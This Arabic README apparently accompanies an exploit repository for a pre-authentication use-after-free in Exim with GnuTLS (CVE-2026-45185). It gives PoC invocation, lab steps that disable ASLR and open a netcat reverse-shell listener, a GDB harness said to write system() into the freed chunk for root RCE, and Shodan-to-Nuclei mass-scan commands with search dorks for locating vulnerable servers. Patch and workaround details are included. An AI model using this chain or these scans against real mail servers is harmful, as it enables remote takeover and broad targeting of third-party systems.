
يستغل ثغرة use-after-free حرجة في الكومة (heap) قبل المصادقة في Exim عبر close_notify الخاص بـ TLS للحصول على صلاحيات الجذر عن بُعد؛ ويتضمن بيئة اختبار مختبرية (lab harness) بـ GDB وقالب كشف بـ Nuclei.
CVSS 9.8 حرجة | Exim 4.97–4.99.2 | بنيات Ubuntu / GnuTLS | بدون مصادقة
تقرير كامل مع تتبّع GDB، وتحليل خطوة بخطوة، وبيانات التعرض العالمية:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
إرسال تنبيه close_notify عبر TLS بينما يكون Exim في منتصف نقل جسم الرسالة عبر BDAT يؤدي إلى استدعاء tls_close() للدالة gnutls_deinit()، مما يحرّر البنية gnutls_session_int التي يبلغ حجمها 7,304 بايت. تحتفظ طبقة استقبال BDAT بمؤشر قديم (stale pointer). وعند استئناف حلقة قراءة الجسم، تقوم tls_getbuf → gnutls_record_recv بإلغاء مرجعية الجلسة المحرَّرة — استخدام بعد التحرير في الكومة، قبل المصادقة ودون الحاجة إلى أي بيانات اعتماد.
تم إصلاحه في Exim 4.99.3.
| الشرط | المطلوب |
|---|---|
| إصدار Exim | 4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2 |
| البناء | Ubuntu / Debian مع GnuTLS (libgnutls28-dev) |
| الميزة | CHUNKING مُعلَن في EHLO (مفعّل افتراضيًا) |
Alpine Linux وExim المُجمَّع يدويًا والمرتبط مع OpenSSL غير متأثرين.
python3 poc.py <host> <port> <rcpt@domain>
# example
python3 poc.py mail.example.com 587 [email protected]
إذا بقي الخادم يعمل بعد تنفيذ المشغّل، فإن مسار UAF موجود. إذا تعطّل الخادم، فهذا يعني أن شيئًا ما تغيّر في سلوك tcache.
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3
# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space
# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config # choose "internet site", accept defaults
# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d
# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost
# 6. Start a listener for the reverse shell
nc -lvp 4444
قبل التشغيل: عدّل CMD في diag19_gdb.py ليشير إلى عنوان IP الخاص بالمستمع لديك.
يتم حل عنوان SYSTEM ديناميكيًا عند التحميل — لا حاجة إلى بحث يدوي.
العنوانان داخل PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) هما عنوانان داخليان خاصان بـ Exim ويجب أن يتطابقا مع بنائك:
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v
# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt
# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt
ينفّذ القالب مرحلتين مستقلتين:
4.97–4.99.2Ubuntu في الترويسة (تأكيد الارتباط مع GnuTLS)CHUNKING في القدراتBDAT 200 بدون RCPT TO، ويطابق رسالة 503 الخاصة بـ Exim:
503 valid RCPT command must precede BDAT
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587
# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")
# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"
قم بالترقية إلى Exim 4.99.3 أو أحدث (التصحيح الرسمي).
حل بديل (لا يوجد مسار استغلال، ولا حاجة لإعادة التشغيل للاختبار):
# exim4.conf
chunking_advertise_hosts = !*
ثم نفّذ service exim4 restart.
| التاريخ | الحدث |
|---|---|
| 2026-06-10 | تعيين CVE بواسطة XBOW |
| 2026-06-24 | إصدار النشرة الأمنية العامة |
| 2026-08-07 | تأكيد RCE مخبريًا؛ نشر هذا التقرير + PoC |
بقلم @0Init
| الملف | الغرض |
|---|
poc.py | مشغّل UAF — المكتبة القياسية فقط، بدون pip. آمن للتشغيل ضد خوادمك الخاصة. يصل إلى مسار UAF ثم يتوقف (بدون حمولة). |
diag19_gdb.py | منصة استغلال GDB — 7 نقاط توقف، يكتب system() في القطعة المحرَّرة بعد عودة gnutls_deinit(). للمختبر فقط (يتطلب إيقاف ASLR + تطابق إصدارات المكتبات). |
CVE-2026-45185.yaml | قالب Nuclei — يكتشف الشروط المسبقة الثلاثة عبر بصمة EHLO + فحص BDAT. كشف آمن للقراءة فقط. |